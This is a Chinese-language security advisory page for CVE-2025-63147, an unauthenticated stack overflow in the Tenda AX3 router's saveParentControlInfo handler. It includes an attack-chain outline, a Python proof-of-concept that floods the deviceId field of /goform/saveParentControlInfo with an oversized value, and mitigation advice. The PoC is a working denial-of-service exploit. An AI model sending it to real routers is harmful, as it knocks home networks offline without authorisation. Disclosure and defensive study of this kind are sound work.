IPBUF安全漏洞报告
English
CVE-2025-63147 CVSS 7.5 高危

CVE-2025-63147: Tenda AX3 saveParentControlInfo函数栈溢出漏洞导致拒绝服务

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-63147
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AX3 V16.03.12.10_CN

相关标签

CVE-2025-63147栈溢出拒绝服务Tenda AX3路由器漏洞无需认证Web管理接口saveParentControlInfoIoT安全

漏洞概述

CVE-2025-63147是Tenda AX3 V16.03.12.10_CN路由器固件中的一个高危安全漏洞。该漏洞存在于saveParentControlInfo函数的deviceId参数处理中,攻击者可以通过构造恶意的请求触发栈溢出,成功利用此漏洞可导致设备拒绝服务(DoS)。由于该漏洞无需认证即可利用,且攻击向量为网络层面,因此具有较高的安全风险。CVSS 3.1评分达到7.5分,主要影响系统的可用性。Tenda AX3是一款面向家庭和小型办公环境的无线路由器设备,广泛应用于家庭网络环境中,因此该漏洞可能影响大量终端用户。攻击者无需任何特殊权限或用户交互即可发起攻击,这使得漏洞的利用门槛较低,危害性较大。建议用户及时关注厂商更新,采取相应的防护措施。

技术细节

该漏洞为典型的栈溢出(Stack Overflow)漏洞。在Tenda AX3 V16.03.12.10_CN固件的saveParentControlInfo函数中,程序未对deviceId参数进行充分的长度验证和边界检查。当攻击者通过HTTP请求向该函数提交超长的deviceId参数时,过长的数据会超出栈缓冲区的大小,覆盖相邻的栈内存区域,包括函数返回地址、保存的寄存器等关键数据。攻击者通过精心构造溢出数据,可以控制程序执行流程,进而执行任意代码或导致程序崩溃。在路由器固件环境中,栈空间通常较小且相邻区域存放着函数调用链信息,因此即使不能稳定执行代码,单纯的溢出也足以破坏程序状态导致拒绝服务。该漏洞存在于路由器的Web管理接口中,攻击者可通过向设备发送恶意HTTP请求来触发漏洞。

攻击链分析

STEP 1
步骤1
信息收集:识别目标Tenda AX3路由器,获取设备IP地址和管理界面访问地址
STEP 2
步骤2
构造恶意请求:构建包含超长deviceId参数的HTTP POST请求,payload长度需超过栈缓冲区大小
STEP 3
步骤3
发送漏洞利用请求:向路由器的/goform/saveParentControlInfo接口发送恶意请求
STEP 4
步骤4
触发栈溢出:超长deviceId数据覆盖栈内存,破坏函数返回地址和调用栈
STEP 5
步骤5
导致拒绝服务:程序崩溃或执行流程被劫持,路由器失去响应能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-63147 PoC - Tenda AX3 Stack Overflow in saveParentControlInfo # Target: Tenda AX3 V16.03.12.10_CN # Vulnerability: Stack overflow via deviceId parameter in saveParentControlInfo function target_ip = "192.168.0.1" # Default Tenda router IP target_url = f"http://{target_ip}/goform/saveParentControlInfo" # Generate malicious payload with oversized deviceId parameter # The payload triggers stack overflow by sending excessive data def generate_payload(): # Create a long string to overflow the stack buffer overflow_length = 1000 # Adjust based on actual buffer size malicious_device_id = "A" * overflow_length # Construct the exploit payload payload = { "deviceId": malicious_device_id, "deviceName": "test", "mac": "AA:BB:CC:DD:EE:FF", "enable": "1" } return payload def exploit(): print("[*] CVE-2025-63147 PoC - Tenda AX3 Stack Overflow") print(f"[*] Target: {target_url}") payload = generate_payload() try: print("[*] Sending malicious request...") response = requests.post(target_url, data=payload, timeout=5) print(f"[*] Response Status: {response.status_code}") print("[*] Request sent. Check if device is responsive.") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent - Device may be DoS'd: {e}") if __name__ == "__main__": exploit()

影响范围

Tenda AX3 V16.03.12.10_CN

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 关闭路由器的远程Web管理功能,仅允许本地网络访问管理界面;2) 修改路由器默认管理端口和凭证,使用强密码;3) 在网络边界设备(如主路由或防火墙)上对路由器管理流量进行过滤,仅允许受信任的IP地址访问;4) 监控路由器运行状态,发现异常时及时重启恢复服务;5) 考虑部署网络入侵检测系统,对针对saveParentControlInfo接口的异常请求进行告警和阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表